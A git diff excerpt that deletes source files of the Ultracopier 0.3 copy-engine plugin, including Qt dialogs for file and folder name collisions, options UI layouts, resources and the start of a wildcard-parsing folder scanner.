-fileIsSameDialog::fileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::fileIsSameDialog)
-{
- ui->setupUi(this);
- action=FileExists_Cancel;
- oldName=fileInfo.fileName();
- destinationInfo=fileInfo;
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->label_content_size->setText(QString::number(fileInfo.size()));
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- ui->label_content_file_name->setText(fileInfo.fileName());
- updateRenameButton();
- QDateTime maxTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
- if(maxTime<fileInfo.lastModified())
- {
- ui->label_modified->setVisible(true);
- ui->label_content_modified->setVisible(true);
- ui->label_content_modified->setText(fileInfo.lastModified().toString());
- }
- else
- {
- ui->label_modified->setVisible(false);
- ui->label_content_modified->setVisible(false);
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-fileIsSameDialog::~fileIsSameDialog()
-{
- delete ui;
-}
-
-void fileIsSameDialog::changeEvent(QEvent *e)
-{
- QWidget::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-QString fileIsSameDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- qDebug() << "fileIsSameDialog, return the old name: "+oldName;
- else
- qDebug() << "fileIsSameDialog, return the new name: "+ui->lineEditNewName->text();
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return oldName;
- else
- return ui->lineEditNewName->text();
-}
-
-void fileIsSameDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void fileIsSameDialog::on_Rename_clicked()
-{
- action=FileExists_Rename;
- this->close();
-}
-
-void fileIsSameDialog::on_Skip_clicked()
-{
- action=FileExists_Skip;
- this->close();
-}
-
-void fileIsSameDialog::on_Cancel_clicked()
-{
- action=FileExists_Cancel;
- this->close();
-}
-
-FileExistsAction fileIsSameDialog::getAction()
-{
- return action;
-}
-
-bool fileIsSameDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void fileIsSameDialog::updateRenameButton()
-{
- ui->Rename->setEnabled(ui->checkBoxAlways->isChecked() || (oldName!=ui->lineEditNewName->text() && !ui->lineEditNewName->text().isEmpty()));
-}
-
-void fileIsSameDialog::on_lineEditNewName_textChanged(const QString &arg1)
-{
- Q_UNUSED(arg1);
- updateRenameButton();
-}
-
-void fileIsSameDialog::on_checkBoxAlways_toggled(bool checked)
-{
- Q_UNUSED(checked);
- updateRenameButton();
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.h b/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.h
deleted file mode 100644
index fa48755..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/fileIsSameDialog.h
+++ /dev/null
@@ -1,56 +0,0 @@
-/** \file fileIsSameDialog.h
-\brief Define the dialog when file is same
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QDialog>
-#include <QWidget>
-#include <QString>
-#include <QDateTime>
-#include <QFileInfo>
-#include <QDir>
-#include "Environment.h"
-
-#ifndef FILEISSAMEDIALOG_H
-#define FILEISSAMEDIALOG_H
-
-namespace Ui {
- class fileIsSameDialog;
-}
-
-/// \brief to show file is same dialog, and ask what do
-class fileIsSameDialog : public QDialog
-{
- Q_OBJECT
-public:
- /// \brief create the object and pass all the informations to it
- explicit fileIsSameDialog(QWidget *parent,QFileInfo fileInfo,QString firstRenamingRule,QString otherRenamingRule);
- ~fileIsSameDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FileExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void updateRenameButton();
- void on_lineEditNewName_textChanged(const QString &arg1);
- void on_checkBoxAlways_toggled(bool checked);
-private:
- Ui::fileIsSameDialog *ui;
- FileExistsAction action;
- QString oldName;
- QFileInfo destinationInfo;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
-};
-
-#endif // FILEISSAMEDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.cpp b/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.cpp
deleted file mode 100644
index d951b90..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.cpp
+++ /dev/null
@@ -1,143 +0,0 @@
-#include "folderExistsDialog.h"
-#include "ui_folderExistsDialog.h"
-
-#include <QMessageBox>
-
-folderExistsDialog::folderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule) :
- QDialog(parent),
- ui(new Ui::folderExistsDialog)
-{
- ui->setupUi(this);
- action=FolderExists_Cancel;
- oldName=source.fileName();
- this->destinationInfo=destinationInfo;
- ui->lineEditNewName->setText(oldName);
- ui->lineEditNewName->setPlaceholderText(oldName);
- ui->label_content_source_modified->setText(source.lastModified().toString());
- ui->label_content_source_folder_name->setText(source.fileName());
- if(isSame)
- {
- ui->label_source->hide();
- ui->label_destination->hide();
- ui->label_destination_modified->hide();
- ui->label_destination_folder_name->hide();
- ui->label_content_destination_modified->hide();
- ui->label_content_destination_folder_name->hide();
- }
- else
- {
- this->setWindowTitle(tr("Folder already exists"));
- ui->label_message->hide();
- ui->label_content_destination_modified->setText(destination.lastModified().toString());
- ui->label_content_destination_folder_name->setText(destination.fileName());
- }
- this->firstRenamingRule=firstRenamingRule;
- this->otherRenamingRule=otherRenamingRule;
-}
-
-folderExistsDialog::~folderExistsDialog()
-{
- delete ui;
-}
-
-void folderExistsDialog::changeEvent(QEvent *e)
-{
- QDialog::changeEvent(e);
- switch (e->type()) {
- case QEvent::LanguageChange:
- ui->retranslateUi(this);
- break;
- default:
- break;
- }
-}
-
-QString folderExistsDialog::getNewName()
-{
- if(oldName==ui->lineEditNewName->text() || ui->checkBoxAlways->isChecked())
- return "";
- else
- return ui->lineEditNewName->text();
-}
-
-void folderExistsDialog::on_SuggestNewName_clicked()
-{
- QFileInfo destinationInfo=this->destinationInfo;
- QString absolutePath=destinationInfo.absolutePath();
- QString fileName=destinationInfo.fileName();
- QString suffix="";
- QString destination;
- QString newFileName;
- //resolv the suffix
- if(fileName.contains(QRegExp("^(.*)(\\.[a-z0-9]+)$")))
- {
- suffix=fileName;
- suffix.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\2");
- fileName.replace(QRegExp("^(.*)(\\.[a-z0-9]+)$"),"\\1");
- }
- //resolv the new name
- int num=1;
- do
- {
- if(num==1)
- {
- if(firstRenamingRule=="")
- newFileName=tr("%1 - copy").arg(fileName);
- else
- {
- newFileName=firstRenamingRule;
- newFileName.replace("%name%",fileName);
- }
- }
- else
- {
- if(otherRenamingRule=="")
- newFileName=tr("%1 - copy (%2)").arg(fileName).arg(num);
- else
- {
- newFileName=otherRenamingRule;
- newFileName.replace("%name%",fileName);
- newFileName.replace("%number%",QString::number(num));
- }
- }
- destination=absolutePath+QDir::separator()+newFileName+suffix;
- destinationInfo.setFile(destination);
- num++;
- }
- while(destinationInfo.exists());
- ui->lineEditNewName->setText(newFileName+suffix);
-}
-
-void folderExistsDialog::on_Rename_clicked()
-{
- action=FolderExists_Rename;
- this->close();
-}
-
-void folderExistsDialog::on_Skip_clicked()
-{
- action=FolderExists_Skip;
- this->close();
-}
-
-void folderExistsDialog::on_Cancel_clicked()
-{
- action=FolderExists_Cancel;
- this->close();
-}
-
-FolderExistsAction folderExistsDialog::getAction()
-{
- return action;
-}
-
-bool folderExistsDialog::getAlways()
-{
- return ui->checkBoxAlways->isChecked();
-}
-
-void folderExistsDialog::on_Merge_clicked()
-{
- action=FolderExists_Merge;
- this->close();
-}
diff --git a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.h b/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.h
deleted file mode 100644
index 6d612f1..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.h
+++ /dev/null
@@ -1,54 +0,0 @@
-/** \file folderExistsDialog.h
-\brief Define the dialog when file exists
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef FOLDERISSAMEDIALOG_H
-#define FOLDERISSAMEDIALOG_H
-
-#include <QDialog>
-#include <QFileInfo>
-#include <QString>
-#include <QDateTime>
-#include <QDir>
-
-#include "Environment.h"
-
-namespace Ui {
- class folderExistsDialog;
-}
-
-/// \brief to show file exists dialog, and ask what do
-class folderExistsDialog : public QDialog
-{
- Q_OBJECT
-
-public:
- /// \brief create the object and pass all the informations to it
- explicit folderExistsDialog(QWidget *parent,QFileInfo source,bool isSame,QFileInfo destination,QString firstRenamingRule,QString otherRenamingRule);
- ~folderExistsDialog();
- /// \brief return the the always checkbox is checked
- bool getAlways();
- /// \brief return the action clicked
- FolderExistsAction getAction();
- /// \brief return the new rename is case in manual renaming
- QString getNewName();
-protected:
- void changeEvent(QEvent *e);
-private slots:
- void on_SuggestNewName_clicked();
- void on_Rename_clicked();
- void on_Skip_clicked();
- void on_Cancel_clicked();
- void on_Merge_clicked();
-private:
- Ui::folderExistsDialog *ui;
- FolderExistsAction action;
- QString oldName;
- QString firstRenamingRule;
- QString otherRenamingRule;
- QFileInfo destinationInfo;
-};
-
-#endif // FOLDERISSAMEDIALOG_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.ui b/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.ui
deleted file mode 100644
index c4c4d5e..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/folderExistsDialog.ui
+++ /dev/null
@@ -1,282 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>folderExistsDialog</class>
- <widget class="QDialog" name="folderExistsDialog">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>443</width>
- <height>146</height>
- </rect>
- </property>
- <property name="windowTitle">
- <string>This folders are the same folder</string>
- </property>
- <layout class="QVBoxLayout" name="verticalLayout">
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout">
- <item>
- <widget class="QLabel" name="label_source">
- <property name="sizePolicy">
- <sizepolicy hsizetype="Minimum" vsizetype="Preferred">
- <horstretch>0</horstretch>
- <verstretch>0</verstretch>
- </sizepolicy>
- </property>
- <property name="font">
- <font>
- <weight>75</weight>
- <bold>true</bold>
- </font>
- </property>
- <property name="text">
- <string>Source</string>
- </property>
- <property name="alignment">
- <set>Qt::AlignCenter</set>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QLabel" name="label_destination">
- <property name="font">
- <font>
- <weight>75</weight>
- <bold>true</bold>
- </font>
- </property>
- <property name="text">
- <string>Destination</string>
- </property>
- <property name="alignment">
- <set>Qt::AlignCenter</set>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <widget class="QLabel" name="label_message">
- <property name="text">
- <string>The source and destination is same</string>
- </property>
- </widget>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_4">
- <item>
- <spacer name="horizontalSpacer">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout">
- <item row="0" column="0">
- <widget class="QLabel" name="label_source_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_source_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_source_folder_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Folder name</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_source_folder_name">
- <property name="text">
- <string notr="true">folder</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_2">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- <item>
- <layout class="QFormLayout" name="formLayout_2">
- <item row="0" column="0">
- <widget class="QLabel" name="label_destination_modified">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Modified</string>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_destination_folder_name">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Folder name</string>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QLabel" name="label_content_destination_modified">
- <property name="text">
- <string notr="true">Today</string>
- </property>
- </widget>
- </item>
- <item row="1" column="1">
- <widget class="QLabel" name="label_content_destination_folder_name">
- <property name="text">
- <string notr="true">folder</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <spacer name="horizontalSpacer_3">
- <property name="orientation">
- <enum>Qt::Horizontal</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>40</width>
- <height>20</height>
- </size>
- </property>
- </spacer>
- </item>
- </layout>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_2">
- <item>
- <widget class="QLineEdit" name="lineEditNewName">
- <property name="text">
- <string notr="true"/>
- </property>
- <property name="placeholderText">
- <string notr="true"/>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="SuggestNewName">
- <property name="text">
- <string>Suggest new &amp;name</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- <item>
- <layout class="QHBoxLayout" name="horizontalLayout_3">
- <item>
- <widget class="QCheckBox" name="checkBoxAlways">
- <property name="text">
- <string>&amp;Always do this action</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Rename">
- <property name="text">
- <string>&amp;Rename</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Merge">
- <property name="text">
- <string>Merge</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Skip">
- <property name="text">
- <string>Skip</string>
- </property>
- </widget>
- </item>
- <item>
- <widget class="QPushButton" name="Cancel">
- <property name="text">
- <string>&amp;Cancel</string>
- </property>
- </widget>
- </item>
- </layout>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>clicked(bool)</signal>
- <receiver>lineEditNewName</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>132</x>
- <y>126</y>
- </hint>
- <hint type="destinationlabel">
- <x>135</x>
- <y>101</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>checkBoxAlways</sender>
- <signal>clicked(bool)</signal>
- <receiver>SuggestNewName</receiver>
- <slot>setDisabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>113</x>
- <y>129</y>
- </hint>
- <hint type="destinationlabel">
- <x>304</x>
- <y>100</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/options.ui b/plugins/CopyEngine/Ultracopier-0.3/options.ui
deleted file mode 100644
index 21d4d7f..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/options.ui
+++ /dev/null
@@ -1,314 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<ui version="4.0">
- <class>options</class>
- <widget class="QWidget" name="options">
- <property name="geometry">
- <rect>
- <x>0</x>
- <y>0</y>
- <width>356</width>
- <height>376</height>
- </rect>
- </property>
- <layout class="QGridLayout" name="gridLayout">
- <property name="margin">
- <number>2</number>
- </property>
- <property name="spacing">
- <number>2</number>
- </property>
- <item row="0" column="0">
- <widget class="QLabel" name="label">
- <property name="text">
- <string>Transfer the file rights</string>
- </property>
- </widget>
- </item>
- <item row="0" column="2">
- <widget class="QCheckBox" name="doRightTransfer"/>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_2">
- <property name="text">
- <string>Keep the file date</string>
- </property>
- </widget>
- </item>
- <item row="1" column="2">
- <widget class="QCheckBox" name="keepDate"/>
- </item>
- <item row="2" column="2">
- <widget class="QSpinBox" name="blockSize">
- <property name="suffix">
- <string>KB</string>
- </property>
- <property name="minimum">
- <number>1</number>
- </property>
- <property name="maximum">
- <number>64000</number>
- </property>
- </widget>
- </item>
- <item row="3" column="0" colspan="2">
- <widget class="QLabel" name="label_5">
- <property name="text">
- <string>Auto start the transfer</string>
- </property>
- </widget>
- </item>
- <item row="3" column="2">
- <widget class="QCheckBox" name="autoStart"/>
- </item>
- <item row="4" column="0">
- <widget class="QLabel" name="label_6">
- <property name="text">
- <string>When folder error</string>
- </property>
- </widget>
- </item>
- <item row="4" column="2">
- <widget class="QComboBox" name="comboBoxFolderError">
- <item>
- <property name="text">
- <string>Ask</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Skip</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="5" column="0">
- <widget class="QLabel" name="label_7">
- <property name="text">
- <string>When folder collision</string>
- </property>
- </widget>
- </item>
- <item row="5" column="2">
- <widget class="QComboBox" name="comboBoxFolderColision">
- <item>
- <property name="text">
- <string>Ask</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Merge</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Skip</string>
- </property>
- </item>
- <item>
- <property name="text">
- <string>Rename</string>
- </property>
- </item>
- </widget>
- </item>
- <item row="6" column="0" colspan="2">
- <widget class="QLabel" name="label_8">
- <property name="text">
- <string>Check if destination folder exists</string>
- </property>
- </widget>
- </item>
- <item row="6" column="2">
- <widget class="QCheckBox" name="checkBoxDestinationFolderExists"/>
- </item>
- <item row="7" column="0" colspan="3">
- <widget class="QGroupBox" name="groupBox">
- <property name="title">
- <string>Checksum</string>
- </property>
- <layout class="QGridLayout" name="gridLayout_2">
- <item row="1" column="1">
- <widget class="QCheckBox" name="checksumOnlyOnError">
- <property name="enabled">
- <bool>false</bool>
- </property>
- </widget>
- </item>
- <item row="1" column="0">
- <widget class="QLabel" name="label_9">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Only after error</string>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_10">
- <property name="enabled">
- <bool>false</bool>
- </property>
- <property name="text">
- <string>Ignore if impossible</string>
- </property>
- </widget>
- </item>
- <item row="2" column="1">
- <widget class="QCheckBox" name="checksumIgnoreIfImpossible">
- <property name="enabled">
- <bool>false</bool>
- </property>
- </widget>
- </item>
- <item row="0" column="1">
- <widget class="QCheckBox" name="doChecksum"/>
- </item>
- <item row="0" column="0">
- <widget class="QLabel" name="label_11">
- <property name="text">
- <string>Do checksum</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- </item>
- <item row="8" column="1">
- <widget class="QLabel" name="label_3">
- <property name="text">
- <string>Enable OS buffer</string>
- </property>
- </widget>
- </item>
- <item row="8" column="2">
- <widget class="QCheckBox" name="osBuffer"/>
- </item>
- <item row="9" column="0" colspan="2">
- <widget class="QCheckBox" name="osBufferLimited">
- <property name="text">
- <string>OS buffer only if smaller than</string>
- </property>
- </widget>
- </item>
- <item row="9" column="2">
- <widget class="QSpinBox" name="osBufferLimit">
- <property name="suffix">
- <string>KB</string>
- </property>
- <property name="minimum">
- <number>1</number>
- </property>
- <property name="maximum">
- <number>2048</number>
- </property>
- <property name="value">
- <number>512</number>
- </property>
- </widget>
- </item>
- <item row="2" column="0">
- <widget class="QLabel" name="label_4">
- <property name="text">
- <string>Block size</string>
- </property>
- </widget>
- </item>
- <item row="12" column="1">
- <spacer name="verticalSpacer">
- <property name="orientation">
- <enum>Qt::Vertical</enum>
- </property>
- <property name="sizeHint" stdset="0">
- <size>
- <width>20</width>
- <height>40</height>
- </size>
- </property>
- </spacer>
- </item>
- <item row="11" column="1">
- <widget class="QPushButton" name="filters">
- <property name="text">
- <string>Filters</string>
- </property>
- </widget>
- </item>
- <item row="10" column="1">
- <widget class="QPushButton" name="renamingRules">
- <property name="text">
- <string>Renaming rules</string>
- </property>
- </widget>
- </item>
- </layout>
- </widget>
- <resources/>
- <connections>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>label_9</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>187</x>
- <y>212</y>
- </hint>
- <hint type="destinationlabel">
- <x>100</x>
- <y>223</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>checksumOnlyOnError</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>198</x>
- <y>212</y>
- </hint>
- <hint type="destinationlabel">
- <x>190</x>
- <y>226</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>label_10</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>245</x>
- <y>210</y>
- </hint>
- <hint type="destinationlabel">
- <x>123</x>
- <y>251</y>
- </hint>
- </hints>
- </connection>
- <connection>
- <sender>doChecksum</sender>
- <signal>clicked(bool)</signal>
- <receiver>checksumIgnoreIfImpossible</receiver>
- <slot>setEnabled(bool)</slot>
- <hints>
- <hint type="sourcelabel">
- <x>269</x>
- <y>209</y>
- </hint>
- <hint type="destinationlabel">
- <x>213</x>
- <y>247</y>
- </hint>
- </hints>
- </connection>
- </connections>
-</ui>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/resources.qrc b/plugins/CopyEngine/Ultracopier-0.3/resources.qrc
deleted file mode 100644
index c6ca4ef..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/resources.qrc
+++ /dev/null
@@ -1,8 +0,0 @@
-<RCC>
- <qresource prefix="/">
- <file>resources/add.png</file>
- <file>resources/edit.png</file>
- <file>resources/remove.png</file>
- <file>resources/filter.png</file>
- </qresource>
-</RCC>
diff --git a/plugins/CopyEngine/Ultracopier-0.3/resources/add.png b/plugins/CopyEngine/Ultracopier-0.3/resources/add.png
deleted file mode 100644
index 1e03be9..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/resources/add.png
+++ /dev/null
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier-0.3/resources/edit.png b/plugins/CopyEngine/Ultracopier-0.3/resources/edit.png
deleted file mode 100644
index 8072aea..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/resources/edit.png
+++ /dev/null
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier-0.3/resources/filter.png b/plugins/CopyEngine/Ultracopier-0.3/resources/filter.png
deleted file mode 100644
index 9cabc5a..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/resources/filter.png
+++ /dev/null
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier-0.3/resources/remove.png b/plugins/CopyEngine/Ultracopier-0.3/resources/remove.png
deleted file mode 100644
index 5b4c488..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/resources/remove.png
+++ /dev/null
Binary files differ
diff --git a/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.cpp b/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.cpp
deleted file mode 100644
index e40e941..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/scanFileOrFolder.cpp
+++ /dev/null
@@ -1,460 +0,0 @@
-#include "scanFileOrFolder.h"
-
-#include <QMessageBox>
-
-scanFileOrFolder::scanFileOrFolder(CopyMode mode)
-{
- stopped = true;
- stopIt = false;
- this->mode=mode;
- setObjectName("ScanFileOrFolder");
- folder_isolation=QRegExp("^(.*/)?([^/]+)/$");
-}
-
-scanFileOrFolder::~scanFileOrFolder()
-{
- stop();
- quit();
- wait();
-}
-
-bool scanFileOrFolder::isFinished()
-{
- return stopped;
-}
-
-void scanFileOrFolder::addToList(const QStringList& sources,const QString& destination)
-{
- stopIt=false;
- this->sources=parseWildcardSources(sources);
- this->destination=destination;
- if(sources.size()>1 || QFileInfo(destination).isDir())
- /* Disabled because the separator transformation product bug
- * if(!destination.endsWith(QDir::separator()))
- this->destination+=QDir::separator();*/
- if(!destination.endsWith("/") && !destination.endsWith("\\"))
- this->destination+="/";//put unix separator because it's transformed into that's under windows too
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"addToList("+sources.join(";")+","+destination+")");
-}
-
-
-QStringList scanFileOrFolder::parseWildcardSources(const QStringList &sources)
-{
- QRegExp splitFolder("[/\\\\]");
- QStringList returnList;
- int index=0;
- while(index<sources.size())
- {
- if(sources.at(index).contains("*"))
- {
- QStringList toParse=sources.at(index).split(splitFolder);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("before wildcard parse: %1, toParse: %2, is valid: %3").arg(sources.at(index)).arg(toParse.join(", ")).arg(splitFolder.isValid()));
- QList<QStringList> recomposedSource;
- recomposedSource << (QStringList() << "");
- while(toParse.size()>0)
- {
- if(toParse.first().contains('*'))
- {
- QString toParseFirst=toParse.first();
- if(toParseFirst=="")
- toParseFirst+="/";
- QList<QStringList> newRecomposedSource;
- QRegExp toResolv=QRegExp(toParseFirst.replace('*',"[^/\\\\]*"));
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())//parse each url part
- {
- QFileInfo info(recomposedSource.at(index_recomposedSource).join("/"));
- if(info.isDir())
- {
- QDir folder(info.absoluteFilePath());
- QFileInfoList fileFile=folder.entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System);//QStringList() << toResolv
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("list the folder: %1, with the wildcard: %2").arg(info.absoluteFilePath()).arg(toResolv.pattern()));
- int index_fileList=0;
- while(index_fileList<fileFile.size())
- {
- if(fileFile.at(index_fileList).fileName().contains(toResolv))
- {
- QStringList tempList=recomposedSource.at(index_recomposedSource);
- tempList << fileFile.at(index_fileList).fileName();
- newRecomposedSource << tempList;
- }
- index_fileList++;
- }
- }
- index_recomposedSource++;
- }
- recomposedSource=newRecomposedSource;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("add toParse: %1").arg(toParse.join("/")));
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())
- {
- recomposedSource[index_recomposedSource] << toParse.first();
- if(!QFileInfo(recomposedSource.at(index_recomposedSource).join("/")).exists())
- recomposedSource.removeAt(index_recomposedSource);
- else
- index_recomposedSource++;
- }
- }
- toParse.removeFirst();
- }
- int index_recomposedSource=0;
- while(index_recomposedSource<recomposedSource.size())
- {
- returnList<<recomposedSource.at(index_recomposedSource).join("/");
- index_recomposedSource++;
- }
- }
- else
- returnList << sources.at(index);
- index++;
- }
- return returnList;
-}
-
-void scanFileOrFolder::setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QMutexLocker lock(&filtersMutex);
- this->include_send=include;
- this->exclude_send=exclude;
- reloadTheNewFilters=true;
- haveFilters=include_send.size()>0 || exclude_send.size()>0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("haveFilters: %1, include_send.size(): %2, exclude_send.size(): %3").arg(haveFilters).arg(include_send.size()).arg(exclude_send.size()));
-}
-
-//set action if Folder are same or exists
-void scanFileOrFolder::setFolderExistsAction(FolderExistsAction action,QString newName)
-{
- this->newName=newName;
- folderExistsAction=action;
- waitOneAction.release();
-}
-
-//set action if error
-void scanFileOrFolder::setFolderErrorAction(FileErrorAction action)
-{
- fileErrorAction=action;
- waitOneAction.release();
-}
-
-void scanFileOrFolder::stop()
-{
- stopIt=true;
- waitOneAction.release();
-}
-
-void scanFileOrFolder::run()
-{
- stopped=false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start the listing with destination: "+destination+", mode: "+QString::number(mode));
- QDir destinationFolder(destination);
- int sourceIndex=0;
- while(sourceIndex<sources.size())
- {
